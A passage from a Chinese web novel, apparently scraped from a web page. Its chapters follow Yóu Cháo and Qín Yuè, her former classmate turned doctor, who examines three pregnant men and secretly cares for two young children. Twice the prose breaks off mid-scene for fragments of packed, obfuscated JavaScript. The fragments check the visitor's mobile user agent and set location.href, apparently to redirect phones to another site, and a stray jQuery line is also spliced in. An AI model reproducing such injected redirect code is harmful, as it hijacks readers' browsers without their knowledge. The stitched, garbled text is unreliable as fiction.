朱米诺怕自己的样子吓到对方，让游朝去开门。 “您好！”游朝拉开门的瞬间，大热天里居然觉出一丝冷风扑面，“你是……秦越？基地中学秦校长的儿子，秦越吗？” 对面男人愣了一秒，忍不住自上而下打量着她，“游朝？你回基地了？” 游朝有点不适应他看自己的眼神，像有双眼睛痴痴地挂在她身上一样。 “其实刚回来没多久。”游朝微笑着说，“你怎么当医生了？” 她印象里，以前拉他“早恋”的时候，他好像没有觉醒医学方面的能力，主要技能好像是动手能力。当时秦校长吹得神乎其神，说他以后可以去搞武器研发，或者组装机甲，以后会成为基地的骄傲，吹得像天之骄子一样。 不过游朝没办法验证这一点。毕竟学校同学间打个架，还犯不着动用机关枪。 这样的说法听久了，学校里没什么有用超能力的学生们渐渐生出逆反心理，都恨不得对秦越敬而远之。当初游朝为了离开基地故意接近他的时候，朱米诺还一度觉得游朝脑子坏了。 不过毕竟没什么真感情，当年的事游朝离开基地前也跟秦越说清楚了，还顺便祝福过他，以后找个好老婆。 现在算是两不相欠，游朝没什么不好意思。 反倒是秦越，好像对她有什么难言之隐。 “这次回来，你还走吗？”秦越一只手拎着医药箱，另一只手攥紧了一侧的书包带。 “我就是回来办点事，办完就走。”游朝满脑子想的都是家里几个男人怀孕的事，又问他：“你什么时候开始学的医啊，学什么科？我这边的病人可能有点难搞。” “其实，从你离开基地那年，我开始学医了，什么都会一点，你不要担心。”秦越低下头。 “这么多年了啊？”游朝属实有些意外，“我还以为你会去搞武器，进科研院呢。” “我……其实一直都不太喜欢打打杀杀……而且现在，也有点不方便再做这些事情了。”秦越掂了掂身后的背包，确定两个小家伙保持安稳。 他有些说不下去，赶紧换了话题，“你家病人呢？我先看病吧。这个要紧。” 游朝把他引进屋，有点不好意思地抬头看了眼朱米诺，“是秦越，老熟人。” 朱米诺撅起了嘴，实话说一点都不想见到他，特别是游朝和他有来有往说着话。 “米诺，你好。”秦越朝她打招呼。 “你好。”朱米诺不太开心，“你是知道游朝在这里，所以故意找上门的吗？” “不是的米诺。”游朝提他解围，“应该就是中心随机分配的医生，碰巧了。” “嗯……”朱米诺又把嘴嘟起来，就知道倒霉AI办事不靠谱，“游朝，我们其实可以换个医生的。” “别了吧米诺，秦越跑一趟很不容易。你看他背了这么多东西。”游朝往他背上看了一眼，感觉那个大背包非常沉。 “你先把背包放下吧。我帮你。”游朝说着要去拿他的包。 “不用。”秦越一退，没有让她碰，“都是检查身体的精密仪器，需要轻拿轻放，我自己来就好。” “那好吧。”游朝没再勉强，“看病之前其实我还有件事，要先跟你说一声。” “你说。” “我……有小孩了。” 秦越的动作不知怎么回事变慢许多，话也不接，只顾着把背包放到沙发最松软的地方，开口的位置稍微敞开一条小缝，让空气能透进去，然后从背包外层拿出两包牛乳小饼干，顺着小缝投喂进去。 “最近也打算结婚了。”游朝又补充了一句，心里已经担心起来。 如果秦越连她正常结婚生子这件事都要惊讶一会的话，那她让男人们怀孕的事岂不是得吓死他？ “我知道了。”秦越的声音突然变得有点冷。 但不管怎样，游朝终于收到他的回复，稍微放心一点，终于能往下说：“其实事情说起来有点复杂。” “我来说吧。”朱米诺怕游朝描述不清楚，毕竟她已经提前做过检查，最有话语权，“游朝不知道怎么回事让三个男人怀孕了，可能是新解锁的什么超能力，也可能是哪里又突变了……好吧这个不重要……其中有两个是刚从地球过来没多久的，三个人都是单胎，但发育顺序有点问题，脑袋都没长好。不过孩子能活动。他们就在楼上，你可以自己去看看。我还有几个客户的诊断报告要出，你们先忙吧。” 朱米诺不愿意看到游朝和秦越在一块，默默回了书房。 “我知道了。”秦越说完，穿白大褂，戴手套，很长一段时间又不说话了。 “对不起啊，吓到你了吧？”游朝到他面前，十分抱歉地说，“主要是，情况很紧急。我们没办法去正规医院。暂时也不能叫科研院知道，不然我们所有人都会被抓走做实验的……” “我知道。”秦越穿戴好医生的一身装备，表情比游朝想象得镇静许多，“带我去看看他们吧。” “其实还有一件事……” “帮你保守秘密。”秦越很努力地弯了弯嘴角，做出进门后第一个看起来轻松的微笑，“放心吧游朝。我会尽全力保证他们父子平安的。” “谢谢你啊秦越。”游朝带着秦越上楼，“对了，诊金的话，你正常收。再多一点也可以。包括你保密的价格。都是可以的。不要跟我客气。” 秦越沉默了很多级台阶，快到两间卧室门口，才回她：“再说。” 游朝把林耀然、陆其峰和白乔喊到二楼的会客厅，那里也有一长条沙发。严初被留在卧室里，避免看到个人隐私。 “这是秦医生。”游朝介绍。 “请把你们裤子脱到膝盖以下，仰坐到沙发上，腿蜷起来。”秦越说完，看了眼游朝，“你也先回避。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166970|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我不用吧。我是孩子们的妈妈。我有必要了解他们和孩子的情况。”游朝站在楼梯口没动。 “我是医生，这事要听我的。你在场，他们可能会起反应，我就没法做内检了。”秦越看向游朝，“具体情况，检查完我会跟你说的。” “那好吧，我在楼下等你们。”游朝没再勉强，暂时离开会客厅，但边走又边觉得不对劲。 一个第一次知道男生子的医生，会一下子想到起反应影响做内检吗？ 羊水会从生殖器流出这件事，难道不是白乔通过实验刚发现的吗？ 还是说，秦越在医学诊断上有什么独特的天赋，之前她不知道？ 游朝刚走到二楼卧室，严初突然窜到门口拦住她。 “姐姐，你听到什么奇怪声音了吗？” 他说之前游朝没注意，现在仔细听才听到一点。 嘎吱嘎吱声。 像小老鼠啃饼干。 “米诺，你家好像闹耗子了！”游朝一路小跑去书房找她。 朱米诺也被拉了下来，和严初、游朝一块站在一楼客厅。 但很奇怪。他们一过来，声音好像又没了。 科学家基地的耗子有许多品种，体长从2厘米到一米七都有。小型观赏耗是人为培育的，一般不会有这么大声音。但如果是野生大耗子的话，杂食类的大型动物闯进家，可能不仅是想吃饼干这么简单。 “有枪吗？”游朝急问。 “有的有的，我去拿。”朱米诺蹭蹭上楼，整个房子又咣当晃了几下。 朱米诺拿了三把激光手枪出来，型号都是老式，握把已经磨得油亮。 多比多星不禁枪支，主要就是防范这些同样进化得强壮聪明的动物们强闯民宅。它们虽然不会像地球上那样携带任何细菌病毒，但会吃人。 游朝的手枪对准天花板，发了一记扫射激光。亮点映在顶灯上，发出“砰”地一声。这一下没有子弹，只有颇具威慑力的声音，正常情况下大耗子们很容易被吓出来。 但今天没有。 “怎么回事？我好像听到打枪了？”秦越穿着白大褂从楼上急急慌慌冲了下来。 “姐姐以为闹耗子了，打了一枪。”严初轻描淡写地和秦越解释。 “这有我们，你不用管。”游朝眼神示意他上楼去。 “什么耗子？是不是门窗的防盗系统该换了？”秦越一边问，一边疾步到沙发，轻轻抱起书包。 书包在颤抖，震得拉链咯噔咯噔的。 秦越温柔抚摸着书包外侧，将书包贴在自己一侧脸上，手摸到书包底部的柔软部位，左两下，右两下，再左两下，再右两下。 “我的精密仪器经不起剧烈扰动。下回要打枪，麻烦先跟我说一声。” “不好意思，刚刚我们太着急了。你先上去，这里危险。”游朝丝毫没有放松警惕，“把你的仪器也带上去吧，防止误伤。” “行。”秦越嘴上答应，但整个人看起来完全没放心，“你们怎么知道有耗子的？” “因为有嘎吱嘎吱啃饼干的声音，很明显很明显。”朱米诺说，“就在一层。” 书包动了一下，不知是谁的小拳头从书包下鼓了出来。 秦越赶紧把拳头按下去，原处揉了揉，一下明白是怎么回事。 “最近耗子是有点多。不过很少进家。都是在家门口吃点东西就走了。你们听到的可能是外面的声音。别担心了。”秦越说完，抱着书包上了楼。 “他说的好像也有道理。毕竟他每天出门的时间长。”严初率先放下了枪。 游朝警惕地皱了一下眉，总觉得这次见秦越，哪里不对劲。 11. 11 一小时后，秦越做完了检查。 “病人家属，你们可以过来了。” 秦越脱下手套，到旁边的卫生间洗手。 游朝和严初跑到会客厅，拉开门，另外三个男人已经穿好了衣服。 “怎么样，疼不疼？”游朝进来关心三位孩子爸的情况。 “做个检查能有多疼？”陆其峰扣着束腹带的扣子，脸上什么表情都没有，但额头上布满了汗。 “没多疼能是这模样？”严初一边打趣，一边好心递了他张纸巾，“没想到啊陆总，你也有今天。” 陆其峰不想理他，颤抖着拿过纸巾，先擦汗。 “你们呢？”游朝走到林耀然和白乔中间。 白乔说：“我还好。但林耀然应该挺疼的。我看到医生给他用麻药了。” “是有一点疼，但能忍。问题不大。”林耀然不想游朝担心，扶墙慢慢地挪步，尽量维持表面平静，问白乔：“医生没给你用麻药吗？” “我……”白乔看着林耀然和陆其峰痛苦的样子，有点不好意思地说，“其实我完全不疼。” “怎么做到的？！”这回连陆其峰也好奇起来。 “我也不知道。可能是……我比你们的短吧。不用器械辅助，医生手指也能进去。”白乔严肃地阐述着科学事实。 林耀然和陆其峰突然说不出话了。 不得不承认，就现在他们的处境来看，短比长更有优势。 陆其峰放弃关心这个，直奔最紧要的问题，“接下来怎么办？我和林耀然谁的预产期到底谁更靠前一点，大概什么时候生？” “现在还不能确定，我要回去整理一下你们的病历，还有具体的生产方案，都下周再说。”秦越用纸巾擦干手，走过来，一身白大褂已经脱掉。休闲上衣宽松整洁，只在胸口的位置略微有些紧。 “下周还要检查？”游朝问。 “原则上每周都要检查，不过也要看孩子的发育情况。”秦越将刚刚写好的病例整齐地放到医药箱的夹层里，又给游朝留了一张插卡，上面有他的联系方式，插入手机可以直接导入，“孩子们现在都存在发育紊乱。我开了生长促进剂，帮助孩子头部发育，你记得让他们吃。” 秦越把装满的医药箱重新合上，继续：“如果生产的时候孩子的头能正常长出来，就顺产。长不出来就只能剖腹。但我建议顺。剖腹的话，我们没办法搞到足量的合法麻药，你们可能会疼死，特别是术后康复的阶段。” 三个男人集体陷入沉默。 “如果没别的问题的话，那就下周见。” 秦越稳稳地背好背包，拎上医药箱，还和来的时候一样，准备出门，不过脚步更加匆忙。 到门口，秦越又停下，“对了。药别吃多，有早产风险。没做好准备就生孩子的话，是挺痛苦的一件事。” “还有吗？”游朝总觉得他今天说话喜欢只说一半。 秦越不知道该做出什么表情，半天还是选择微笑，“还有祝你幸福，游朝。就像我们上回分别，你祝我幸福一样。我也希望你幸福。真心的。” 游朝有点听不明白，这种事好像没必要礼尚往来。她当年祝福他，也没指望他祝福回来。 而且他以前，好像不是这样念旧的性格。 “这些年你过得怎么样？现在住哪儿？”游朝问，“刚刚太着急，我都没有问。你今天要不忙的话，晚饭我们出去吃吧？我请你，我们聊聊天。” “改天吧。今天我有点忙。还有几个病人等着我上门呢。”秦越推门而出，朝游朝身后的严初和朱米诺也挥手告别，然后打上了伞。 严初走到游朝身边，甚是惋惜地看着秦越出门，“你今天忙就算了。下回等你不忙的时候，能不能帮我研究研究怎么怀孕啊！我真的很想给姐姐生个孩子。有偿的！” 游朝无语地瞪了他一眼。 秦越苦笑着，“好，有机会吧。” “我要能怀上，回头也请你吃饭啊。”严初兴致勃勃。 “知道了，我尽力。”秦越迈出屋檐，走进朦胧的毛毛雨，眼泪在眼眶打转。 严初望着他背影，忍不住感慨，“想不到他这人还挺开放啊？要不是你俩掰了，我高低得跟他交个朋友。” 游朝抱着胳膊，手指在胳膊上敲了几下，还是想不明白，“以前上学那会，他可没这么开放。” 她印象里，秦越家里也是个守旧派。他那个掌握基地小孩生杀大权的校长爸爸，当年要求全体男生大课间去练守旧派独创的健身操，听说可以帮助生殖系统健康，维持男子气概。雄激素不合格的男生会被视做锻炼不认真，期末考评不及格。 这样看他们家对男性生子这种事应该是避之不及的吧。 今天秦越的反应确实淡定过头了。 游朝把秦越的联络卡插入手机，先导入他的新联系方式。 近三年社交平台动态为0，好友数量不到一百，全部放在客户栏。没有家人。也没有朋友。 游朝看着手机，愣了会神。 黄昏时分，基地的人工太阳落了山，朱米诺拉上窗帘，走进厨房。 该吃晚饭了。 朱米诺平时一个人生活，很少动用炒菜机器人，基本都是外卖。但今天游朝一家过来，她很想露一手，所以刚刚叫中心空运了食材。 “我来吧米诺。”游朝不放心地跟到厨房，“我和严初用机器人都很熟的，几分钟就好。” “不用不用。”朱米诺很执拗地说，话音刚落一颗人头大小的土豆就被朱米诺的大脚踢了出来。好在厨房的收纳机器人眼疾手快，及时抱回自己肚子里。 “你快去看看你的男人们吧。他们现在应该很需要你的陪伴。”朱米诺一个劲赶游朝走。她在只会让自己更紧张。 “那好吧。需要帮忙叫我啊。”游朝还是拗不过她，看了眼严初，让他先别走。 严初默契地点了头，就守在厨房门口，目不转睛地盯着朱米诺，生怕一个不留神就会有什么地球人觉得奇怪的食材上餐桌。 游朝自己回到楼上，但对怎么陪伴怀孕的男人一点头绪都没有。 这在多比多星毕竟没有先例。 她先吃了片抑制剂，在朱米诺卧室简单坐了一会，确保抑制剂正在慢慢起效，才去会客厅找男人们。 “耀然，小白，陆总，一会准备吃饭了。”游朝将门推开一条小缝，先确定没有男人光着才进来。 会客厅内只有林耀然和陆其峰。 “白乔呢？”游朝问。 “打电话去了。”林耀然扶着肚子，艰难从软沙发上坐起来，“好像是跟他家里人。” “哦。”游朝感觉是个人隐私，没深问，先对剩下两个男人说：“快吃饭了，你们要不先起来走走，活动一下。” “一会。”陆其峰坐在对侧沙发，手指正快速敲着桌上的电脑。 “你在干嘛呢陆总？”游朝有点好奇地凑过去。虽然她知道陆其峰是个工作狂，但现在好像也没有什么工作需要他做。 “找工作。”陆其峰风风火火地说，“孩子生下来，我就去新公司工作。” 游朝：“别吧，生完孩子不休息一段吗？生宝宝对身体有损耗，不然为什么要有产假呢？” 陆其峰：“不行，孩子出生之前，必须找到新工作。” 请假、休息对他来说都是变弱的表现，比让他直接死了还难受。 前段时间是为了搞清楚这个孩子到底怎么回事，他才辞的职。现在这件事有些眉目了，陆其峰就开始计划下一步。 从小到大，他的人生从来没比别人慢过，就是怀了孕也不行。 “额，行吧。”游朝尊重他的个人选择，“您愿意找就先找着吧，等生完看身体情况再说也行。不过说真的，还是身体比较重要。” 陆其峰手指停顿一秒，大脑像被什么东西击中一般木了一会，但嘴上还是端着架子，不咸不淡地说：“知道了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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视频影像会通过蓝牙眼镜看到，仅通话人可见。 白乔一个劲点着头，声音疲惫不堪，“知道了爸，我在做健身操。对，今天也长了一点，大概0.5毫米，没有经常摸。女朋友的事在考虑，对我好，我知道，不要找那种花心的，男孩子要保护好自己，半夜一个人不出门，没有穿暴露的衣服，你们就放心吧……” 通话没有要结束的意思，比窗外的毛毛雨还磨人。 林耀然默默走到阳台另一侧，让腰靠着栏杆，调整了一个舒服的姿势，给秦越打电话。 “喂！”对面的声音有些轻微的鼻音，“请问您是哪位？” “秦医生吗？我是林耀然。” 对面安静了一会，调整了一下语气，显得更阳光一点，“有什么事吗？” “嗯……有件事想咨询一下。”林耀然声音放低，看着白乔，确认他耳机听不到外面声音，才继续：“我想问，按我现在的情况，孕期，能同房吗？” 对面又安静了。 “喂？秦医生？您能听到我说话吗？” “听到了。”秦越等了一会才说，“我……只是在思考这件事情的必要性。理论上，你怀孕之后，性-欲会进一步降低。特别是到了孕晚期。真的就忍不了一点吗？” 林耀然蹙眉，疑惑白天那么温柔的一个人，现在怎么有点暴躁。可能医生行业确实又累又高压吧，一天工作下来，能情绪稳定的没几个。 “不是我……当然也不是孩子妈妈要求的。”林耀然和气又耐心地解释，“就是……她对我太好了，我心里过意不去，想满足她一下。她一直忍得很难受……” 对面深呼吸了一口气，“知道了，你们愿意做就做吧，不过记得做措施，不然容易破水。还有我不出夜诊，你们最好……” 电话那头传来一声小孩哭，一阵啪嗒啪嗒的脚步声后，那个小孩咬字不清地说：“爸爸爸爸，姐姐抢我小饼干……” 秦越语速加快：“最好别大半夜作死……” 电话匆匆挂断了。 等林耀然回过神时，耳机里只剩通话结束的提示音在嘟嘟嘟地响。 12. 12 碍于有地球男人们在场，今天朱米诺家上桌的晚餐很正常。一锅清淡的椰子鸡火锅，几样家常小炒菜，每个人面前还有一杯柠檬水，主要是为了几个男人缓解孕吐。 游朝和严初在星球表面待久了，已经很适应这样的饮食。 但在朱米诺看来，坚持这样寡淡的饮食，简直是慢性自虐。 她心疼地看了眼游朝，从桌子底下偷偷递了一罐辣味酥脆的蛇皮干，供她佐餐用。 朱米诺自己则偷偷嚼起速冻蟑螂，乳白色的汁液在唇齿间蔓延开来，每一颗味蕾都得到极大满足。 “你们知道秦医生结婚了吗？他看起来还挺年轻的。”林耀然还沉浸在刚刚打电话的疑惑里。 “他都结婚了？”游朝囫囵吞下了一口蛇皮，紧急灌了两口柠檬水。 基地的先锋科学家后裔们，是不需要靠着结婚补贴讨生活的，所以晚婚比较多。 二十三岁就结婚，确实太怪了点。 “你怎么知道他结婚的？”陆其峰发现了盲点。 “刚刚电话里听到他小孩喊爸爸了，听上去至少三四岁。”林耀然说。 “不是吧！”严初一下来了兴趣，“那他结婚可能都没到法定结婚年龄！” 游朝叹了口气，真服了这群男人们的八卦能力了！ “秦越不是那种人，他其实很传统的。”游朝说，“今天这么淡定，可能是被咱们吓到了。” 林耀然停下筷子，回忆秦越在电话里的反常，感觉游朝说的不无道理。 “要不找个时间，咱们登门拜访一下人家吧。拿点小孩子用的东西，玩具什么的？他家应该至少有两个小孩，一个男孩和一个女孩。” 林耀然想着地球上的传统说。他突然有点后悔刚刚给秦越打电话。毕竟现在他们和孩子们的性命还系在秦越身上，把他吓坏了得不偿失。 “一个住基地的先锋科学家后裔会缺钱给孩子买玩具？”陆其峰像看土包子一样斜挑了林耀然一眼，“送这点东西还不如不送。” “那你说。”林耀然确实在这种事情上缺乏经验，但是不介意听听大老板的意见。 陆其峰没有直接下定论，“要看他现在缺什么。” 游朝：“我正好要约他吃饭。可以到时候问问再说。” * 夜深人静，家里人大多都睡熟了，游朝想着白天的事情，有点睡不着，一个人来到阳台听歌。 她平时喜欢听轻音乐和白噪音，可以帮助她在最躁动的时候安静下来，专注思考事情。 今天听的是宇宙中不同星球自转的声音，轰隆轰隆，夹带嗡嗡声，就像基地里模拟的人工打雷一样，适合激发大脑皮层的记忆中枢。 游朝想起见秦越的第一眼，当时说不上多惊艳。秦越本身也不是长得撩人的男人，五官柔和，皮肤白皙，像一股和煦的风扑面而来，之后回味起来，游朝才觉出他挺耐看的。 她再度翻看起秦越的社交平台，试图多找一点信息。 比如和谁结的婚，孩子怎么样，家里的情况……但调查许久，每一条线索都会中断。 游朝犹豫了会，拨通了她来基地以来第一通给中心的电话。 “您好！基地游客游朝。暂住在米奇岛别墅区朱米诺家。有件事我想打听一下。”游朝对AI说，“基地中学A3B3届301班秦越，我想问问他现在的婚姻状况，可以查到吗？” 中心AI：“可以查到。不过我们目前只为对另一方有好感的人提供对方的婚姻状况，主要是为了避免在对方已婚的状态下，盲目展开追求。您这边，对秦越先生有好感吗？” “有。”游朝先这样说着。 “好的。恭喜您。秦先生还是单身。请展开您的狂热追求吧。祝二位有情人终成眷属！” 电话里响起了浪漫的婚礼进行曲。 游朝把电话挂断了。 还是不对劲。 她决定明天就约秦越见面，这件事越早搞清楚越好。 游朝打开和秦越的聊天界面，打算和他约个见面时间。 谁知消息还没发出去，对面的消息先到一步。 秦越：“游朝，我能跟你见个面吗？” 游朝：“现在？” 秦越显然没料到她也醒着，过了一会才回：“现在也可以。如果你方便的话。应该用不了多久。” 游朝看了眼基地电子钟，大半夜2点钟，她要和一个单身男性单独出去，就那俩地球男人的保守劲儿，不得发疯啊。他们还怀着孕，倒是也没必要这么着急让他们适应多比多文化。 游朝打字：“不……” “行”字还没答完。 秦越的消息又来：“我这里有安胎精油贴，你贴到哥哥们卧室门上，他们会睡得很香的。” 游朝纠结了一会，本着实在好奇秦越身上这些反常的份上，没再拒绝，“寄过来要多久？” 秦越：“五分钟。不用寄。我开车接你，顺便送过来。” 秦越的时间观念很强，五分钟后，安胎贴放置成功，游朝坐到秦越副驾，系好了安全带。 “我们去哪儿？要不你来挑吧，我对基地已经没什么印象了。不过先说好，今晚所有的花销我来付，毕竟是我麻烦你在先。”游朝再次嘱咐了一遍，“别跟我客气，明算账才能有来有往嘛！” “好。”这回秦越有了心理准备，没再为她的客气过于难过。 他只是把车开得慢一点，再慢一点，直到再慢就会从天上掉下去，才维持速度不变。 “你白天不是问我这些年过得怎么样吗？”秦越怔怔地望着挡风玻璃外的空轨线。 夜晚它们会亮起漂亮的霓虹灯，像彩虹一样贯穿基地，和复古的黄白色路灯一起，组成了基地夜生活的大背景。 “其实不算特别好。”秦越嘴唇紧绷着，好让眼泪不要这么轻易就没出息地掉下来，“我有了两个小孩，目前一直在赚钱养他们。” “没领到基地抚养金？”游朝心里的疑惑加深了一点。 “他们是很特殊的孩子，我们领不到钱。” “那孩子妈妈呢？”游朝跟问。 秦越沉默了一会，徐徐开口：“离开基地了。” “丢下孩子跑了吗？”游朝蹙眉，“一般妈妈不会这样的，她是不是有什么难言之隐啊？你们沟通过吗？” 秦越摇头，“我和孩子妈妈的事情比较特殊。其实到现在，我也不确定孩子妈妈对我到底有没有感情，以及她会不会期待孩子们的到来。” 游朝叹了口气。虽然秦越没有提，但她大概能 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她看不得幼小的生物受伤害，就像看到小时候在学校因为基因问题莫名被淘汰的自己一样。好像无论多努力，都会败给命运的安排。虽然这两个孩子的妈妈不知道因为什么难处离开了，但没有妈妈陪伴的孩子们实在是太可怜了。 “你能去趟我家，看看我的孩子们吗？如果可以的话，可以再假扮一下她们的妈妈吗？她们还小不懂事，以后不会缠着你的，我只是想让她们知道，她们也是有妈妈的，就够了。” “当然可以了。”游朝仰头眨了眨湿润的眼睛，“我当是什么事。都说不要和我客气！不过你也别放弃，你还年轻，还有机会给孩子们再找个妈妈。现在有孩子的男人很吃香的，至少说明你能生。” “我暂时还没这个想法。”秦越为今天听到的第一个好消息松了口气。 “对孩子妈妈还有感情？”游朝问。 秦越十分笃定地“嗯”了一声，“如果不是我爸当年不允许，我真想跟她私奔来着。” 游朝笑了，“看出来你是真喜欢她了。” “是很喜欢很喜欢。”秦越喃喃着，独自陷入回忆。 他一点没觉得游朝当年的蓄意接近有多困扰，恰恰相反，那段时光，是他二十三年来最快乐最自在的回忆。 “到了。”秦越把车停到一栋小别墅院外。 这片别墅比米奇岛的别墅小很多，一般居住的都是从事基地基础服务工作的居民，其中不少是没有解锁过有用超能力的人。他们需要依赖体力工作，经常出门，大房子就显得没必要。 游朝以前想过，如果她没离开基地的话，大概以后也会住在这一带。 不过秦越这种携带有用超能力的人住在这里，还是让游朝有些意外。 “宝宝们是不是都睡了？”游朝看向已经熄灯的卧室。 “嗯。但估计一会就要醒了。她们总睡不安稳。所以我晚上一般不出门。” 秦越去开大门的电子锁，果然看门机器人才发出“欢迎回家”的声音，卧室方向就传来一声奶声奶气的哼哼。 两秒钟后，另一个也哭了。哭声此起彼伏的。 “好了不哭。是爸爸，爸爸来了。”秦越鞋都来不及换，匆匆在卫生间洗过手，就奔向卧室，一手一个地将孩子们抱出来，让她们的脸朝向游朝，声音一改路上的忧郁，只剩下让孩子们安全感十足的温柔，“咱家来客人了，你们看看这是谁？”